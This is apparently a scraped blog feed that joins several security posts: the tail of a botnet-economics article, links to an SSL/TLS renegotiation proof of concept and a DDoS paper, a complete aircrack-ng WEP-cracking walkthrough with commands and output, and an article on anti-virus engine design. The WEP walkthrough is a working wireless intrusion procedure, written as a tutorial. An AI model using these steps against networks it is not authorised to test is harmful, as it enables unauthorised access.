The lease of a mail botnet that can send about 1000 messages a minute (with 100 zombie machines working online) brings about $2000 per month. As in the case of leasing, the price of a ready-made botnet depends on the number of infected computers. Ready-made botnets are especially popular on English-speaking user forums. Small botnets of a few hundred bots cost $200 to 700, with an average price amounting to $0.50 per bot. Large botnets cost much more. The Shadow botnet, which was created by a 19-year-old hacker from Holland and included over 100,000 computers, was put on sale for $36,000. This is enough to buy a small house in Spain, but the Brazilian cybercriminal chose the botnet.

Conclusion

Mind boggling sums make their way into the pockets of people in the botnet business. All sorts of methods are used to combat this business, but at the legislation level it is completely ineffective. Laws on spam and on the development and distribution of malicious programs or on breaking into computer networks are not applied in many countries, even where such laws do exist. Botnet owners or developers who have been prosecuted can be counted on the fingers of two hands. Which is not the case with botnets that are live on the Internet: the number of these has exceeded 3600. In fact, counting functioning botnets is not an easy task, because in addition to a few dozen large botnets that are hard to miss there are numerous smaller zombie networks that are not easy to detect or tell apart.

At present, the most effective method of combating botnets is close cooperation between antivirus experts, ISPs and law enforcement agencies. Such cooperation has already resulted in the closure of three companies: EstDomains, Atrivo and McColo. Note that the closure of McColo, whose servers hosted command and control centers for several major spam botnets, resulted in a 50% reduction in the amount of spam circulating on the Internet.

Experts follow the activity of thousands of botnets, and antivirus products detect and destroy bots across the globe, but only law enforcement agencies can stop the command and control centers and catch the cybercriminals, thereby ‘putting out’ botnets for extended periods of time. The closure of McColo only had a short-lived effect: several weeks later spam traffic began to go back to its usual levels. After botnet owners moved their command and control centers to other hosting providers, it was ‘business as usual’ for them again. What is needed is a continual effort rather than occasional inspections. Sadly, chopping off one head of the hydra is not enough!

Without help from users, combating botnets cannot be effective. It is home computers that make up the lion’s share of the enormous army of bots. Neglecting to stick to simple security rules, such as using antivirus software, using strong account passwords and disabling the AutoPlay feature for removable media, can result in your computer becoming another botnet member, providing cybercriminals with your data and resources. Why help cybercriminals?

This is the document with the proof of concept which explains the attack on the SSL/TLS reconnect vulnerability. It allows to inject data into the encrypted data stream, often without detection by either end of the connection.

I normally don’t publish exploit codes because of it’s short time value. But this one is rather special. It shows an alternative to the techniques we use here (the human factor as weakness). It’s a design flaw.

Read the document here.

This is a document from 2005. Quite old you may think but the techniques described there still work today. In the meantime, after four years, there is still no real remedy to stop people conducting such kind of attacks. DDos, SYN flooding and smurf attacks are still a problem.
Also because there is some code in the “External code” section which allows to conduct such attacks it’s good to know what it is, what it does, how it does it and how it looks like when it does it.

Read it here.

Introduction

Assumptions

Equipment used

Solution

Solution Overview

Step 1 – Start the wireless interface in monitor mode on AP channel

 airmon-ng stop ath0   

 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

 lo        no wireless extensions.

 eth0      no wireless extensions.

 wifi0     no wireless extensions.

 airmon-ng start wifi0 9

 Interface       Chipset         Driver

 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

 lo        no wireless extensions.

 wifi0     no wireless extensions.

 eth0      no wireless extensions.

 ath0      IEEE 802.11g  ESSID:""  Nickname:""

        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Step 2 – Test Wireless Device Packet Injection

 aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 09:23:35  Trying broadcast probe requests...
 09:23:35  Injection is working!
 09:23:37  Found 1 AP 

 09:23:37  Trying directed probe requests...
 09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
 09:23:39  30/30: 100%

Step 3 – Start airodump-ng to capture the IVs

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           

 BSSID              STATION            PWR  Lost  Packets  Probes                                             

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  

Step 4 - Use aireplay-ng to do a fake authentication with the access point

 aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Troubleshooting Tips

 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Step 5 - Start aireplay-ng in ARP request replay mode

 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

Troubleshooting Tips

Step 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection arp request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”--ivs” option.

Start another console session and enter:

 aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

Where:

• -z invokes the PTW WEP-cracking method.
• -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
• output*.cap selects all files starting with “output” and ending in ”.cap”.

To also use the FMS/KoreK method, start another console session and enter:

 aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Where:

• -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
• output*.cap selects all files starting with “output” and ending in ”.cap”.

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

                                              Aircrack-ng 0.9

                              [00:03:06] Tested 674449 keys (got 96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 

                       KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)

Original article on http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

Version: 1.10 September 26, 2009

]]> http://www.megapanzer.com/2009/10/14/how-to-crack-wep/feed/ 0 http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/ http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/#comments Fri, 09 Oct 2009 19:10:32 +0000 carrumba http://www.megapanzer.com/?p=2959 An article that describes in simple steps how an AV engine is structured. Easy to understand, not too technical and without any code.

Building an Anti-Virus engine (by Markus Schmall, 2002)

The article will describe the basic ideas, concepts, components and approaches involved in developing an anti-virus program from scratch from a developer’s/software engineer’s point of view. It will focus on the main elements of an anti-virus engine (hereafter referred to as AV engine) and will exclude aspects like graphical user interfaces, real-time monitors, file system drivers and plug-ins for certain application software like Microsoft Exchange or Microsoft Office. Although AV engines running/scanning for single platforms (such as Palm OS or EPOC/Symbian OS) can be designed in the same way, this article will focus on designing multi-platform scanning engines, which are far more complex.

Overview

Currently, innovations in AV engines consist primarily of minor changes to existing engines. Complete redesigns of overall engine concepts are rarely seen. One exception is the highly respected Kaspersky AntiVirus (AVP) version 4.0, which was released in early 2002.

The main parts of an AV engine are typically compiled based on the same source code for various platforms, which may have differences in the byte order (little/big endian), CPUs and general requirements on aligned code. All of these considerations must be kept in mind when developing the concept of an AV engine, as the platform on which the engine is designed to run will be a central design consideration. As well, when developing a new AV engine from the ground up, the following consideration or requirements must be considered:

• Targeted platforms
• Programming language
• File access
• Required modularity.

Targeted Platforms

A lot of platforms execute code faster when the data parts are aligned to long word (32 bit) addresses. Other platforms are not able to access 16bit/32 bit values, which are not on even addresses; for example, older Motorola CPUs like MC68020 had this limitation. The choice of programming language depends directly on the platform or platforms of implementation. Generally an AV engine should be developed in a programming language that is available for all platforms. Optimizing compilers for all platforms are available. Typical AV engines are currently developed using the programming languages C or C++. C++ is considered the more modern language but, being based on the object orientated approach, it is typically bigger and slightly slower than C code. As certain data types will be interpreted differently on different platforms (for example, as determined by. long or integer variables), it is also very helpful to define data types based on standard data types, which are the same on all supported platforms.

File Access

To enable the core AV engine to be independent from the surrounding operating system, there must to be an abstraction layer between the core AV engine and the file system, which layer has to include conditional compilation for dedicated platforms. Another straightforward technique is to compile certain parts of the AV engine only for dedicated operating systems and not to use a file system layer at all. While this way approach results in faster programmed results, for the long term, it turns out to be neither easily maintainable nor expandable. An abstraction layer, comparable to the file system abstraction layer, should be also implemented for the memory interface and the graphical user interface, so that the core scan engine always has to call the same API calls to allocate memory, generate message boxes etc.

Modularity

Modularity is an important consideration in modern software development. Obviously, it is advantageous to create clean interfaces and make all program parts modular. By designing the overall AV engine with modularity in mind, single parts can be replaced later against a more powerful module by keeping the functionality the same. (This aspect will be covered in the discussion of on-line update functionalities later in this paper.) For corporate customers, it is especially important to offer a flexible management console/interface. This part obviously does not belong to the AV engine core, but should be kept in mind when designing overall interfaces, engine modules and communication matrixes. Speaking of modularity, it is also a good idea to divide the parts of the core AV engine into components, whereby the separation in a binary virus engine and a macro/script engine can be seen as a high level approach.

Pragmatic Functions

Now that some of the conceptual aspects of the AV engine design have been discussed, it would be helpful to consider some of the pragmatic functions that must be incorporated into the design of an AV engine. The following components or functions must all be taken into account in the development of a “modern” AV engine:

• Engine core
• File system layer
• File type scanners (rtf, ppt, mz, pe, etc.)
• Memory scanners
• File Decompression (e.g. ZIP archives, UPX compressed executables)
• Code emulators (e.g. Win32)
• Heuristic engines
• Update mechanisms.

AV Engine Core

The AV engine core can be seen as a straightforward framework that calls “external” scan modules and therefore can be expected to be the necessary “glue”. As a result, it needs to be designed as a “registration” mechanism, so that additional components, such as a scanner for a new file format, can be registered and updated. This mechanism needs to be protected by digital certificates or similar mechanisms. Currently, there are scan engine frameworks, such as the Exchange virus protection, that offer to use between one and five different scan engines from different vendors, which will be directly called out of the framework. For example, besides their own scan technologies, F-Secure utilizes several solutions in their AV products, including F-Prot and AVP scan engines.

File System Layer

As mentioned in the previous section, it is a good idea to implement a file system layer so that all parts of the AV engine can invoke the same API calls on all platforms. The following functionalities (close to the Ansi-C standard) should be supported to enable easy access to files:

• open(filename)
• close(filehandle)
• read(file handler, buffer, length, number of read bytes)
• write(file handler, buffer, length, number of written bytes)
• seek(offset, optional fields)
• find first(handle)
• find next(handle)

In case a seek() functionality is not intended to be supported as an API call, the read/write functionality needs to be enhanced by adding a “file offset” field. The general “find first/find next” file functionality will typically only be used within the core AV engine, as this core part then passes the file pointer-like structure to the “external” scan modules for further operations.

File Type Scan

In regards to the program progression, one of the first steps is to identify the file type/archive type. For the time being, let’s call this point within the engine the “entry point”. This can be handled from the core AV engine or from a dedicated function call within every scanner module for a dedicated file format/type. In order to enable easy change/adaptation of a new scanner module, the latter method is preferred.

Typically, this file type check can be performed rather quickly (e.g. for Windows PE files, OLE documents etc.). In dedicated cases like PalmOS PRC files the detection is more complex and, again, should not be placed within the core AV engine. If a compressed file is detected, decompression engine/functionality, which shall be discussed in greater detail later in this article, has to be called. More generally speaking, decompression engines can also be seen as some kind of a scanner module, which necessarily has to call back to the AV engine’s entry point.

After the file type has been determined, the corresponding scanner module has to be called to perform the scan routine itself. Every module should have the ability to call back to the entry point of the AV engine. This may be required in the case of scanning embedded files within other files (for example, a Word document embedded within a PowerPoint presentation). Depending on the result of the scan, the AV engine must be able to interact with the user interface via a generic abstraction layer to show certain warnings, requests, etc.

At this point it makes sense to define what functionalities should exist within every scanner module:

• file type detection code, which checks whether the given input can be handled by the scan module;
• scan functionality (which should be able to interact with the GUI elements to show requesters etc.); and,
• removal functionality (e.g. remove link viruses from infected files or delete files completely).

The idea is to keep the interface as small and clean as possible. The scan modules should not rely on any buffers located in the core AV engine. Furthermore, the core scan module should just see file/memory pointers and work with these pointers. All underlying operations/layers should be fully transparent for the scan module.

Removal Functionality

In the case of removal functionality, it is often necessary to remove registry entries in order to disable the activation of certain malicious code. This functionality, which is obviously heavily dependent on the underlying platform, should be programmed using direct operating system functions, and should be compiled only when needed. At this point it makes no sense to implement an abstraction layer.

Memory Scanning Components

The memory scanning components (e.g. memory scanner for Windows 95/98 IFS-based malicious codes) can be placed within the same category as the registry cleaning functionalities described above. It should be noted that the memory scanning components are often not within the main focus of the development of the AV engine.

Decompression

The decompression functionality within AV engines is often seen as a small task, but it is truly a complex program. On the one hand, archives, like .zip, .tar, etc., and exchange formats, such as mime, uuencode etc., are decompressed recursively and without the need for external decompression programs. On the other hand, executable files should be able to be decompressed. Speaking of decompression of archives/exchange formats, it seems to be a good approach to decompress all files within a predefined directory and perform recursive decompression operations, if necessary. In the past we have seen a couple of attacks (see [42]) against decompression modules, that decompressed the embedded files within memory and the system was running out of memory. The file located at [42] is a .zip archive with a total length of 42 kb. Recursively unpacked, the files archived within this file are far more than 100 MB, so that an “in memory” decompression would obviously decrease performance drastically.

Additionally it should be possible to compress the files into archives again to enable meaningful cleaning operations. The decompression operation, therefore, also needs access to the generic file system layer to store/access decompressed files.

Speaking of compressed executable files (e.g. compressed with UPX), a similar approach is possible. The decompressed file can be saved in a predefined directory and then scanned. Another typical approach is to decompress the entire file into memory and pass back the pointer and length of the file to the calling instance. The file system layer would have then to be able to address a memory range also as a file.

Finally, it should be noted that encrypted files/archives are still a major problem for decompression engines and therefore also for AV engines. Nearly all archive tools offer the possibility to encrypt the content.

Detection Engines and Techniques

Right now it is worth taking a look at detection engines and techniques beside heuristic engines.

Nearly every modern AV engine contains checksum-based engines (often straight forward CRC32) and scan string-based engines. In addition to these basic techniques, script-based interpreters can often also be found in engines. By implementing these interpreters with complex instruction sets, it is possible to write detection/removal routines even for highly complex polymorphic viruses, and often without the need to change the engine/program detection code in C/C++. Obviously, these interpreters need access to emulators, memory layers and file system layers to become as powerful as possible. The interpreters typically work with precompiled code (pcode) located in the data/definition files.

Designing the On-Line Update

The core points of AV engine architecture have now been discussed. Another point to consider is the design of the “on-line update” functionality that allows users to update their AV protection. Basically there are two choices of update functionality: update data files or update data files and update executable code.

Generally speaking, all updates should be digitally signed to protect the users from installing malicious updates. It is not critical to implement this in the data file updates. Sending out only updated from previously installed versions, instead of complete update files, will keep network traffic low and, as such, is an attractive feature for users in corporate environments. To update executable code using on-line functionality is usually a more complex operation. This approach typically replaces complete modules of an AV scanner. Therefore the AV engine needs to have the functionality to register, remove, update and add modules of its own. This interface obviously needs to be protected (for example, by digital certificates), otherwise malicious codes could start to attack this registration interface and disable certain important functionality.

Conclusion

At this point it is clear that the development of a complete AV engine for a platform like Windows is an extremely complex task, one that needs to be undertaken by a group of developers. To keep an AV engine stable and maintainable over a long time is a difficult job that requires a lot of investment of money and experience in software engineering. Therefore it is not likely that the selection of independent AV solutions will increase significantly within the next years. This is unfortunate because the technical requirements on AV engines continue to grow and a greater variety of possible solutions can only help AV developers and AV users.

]]> http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/feed/ 2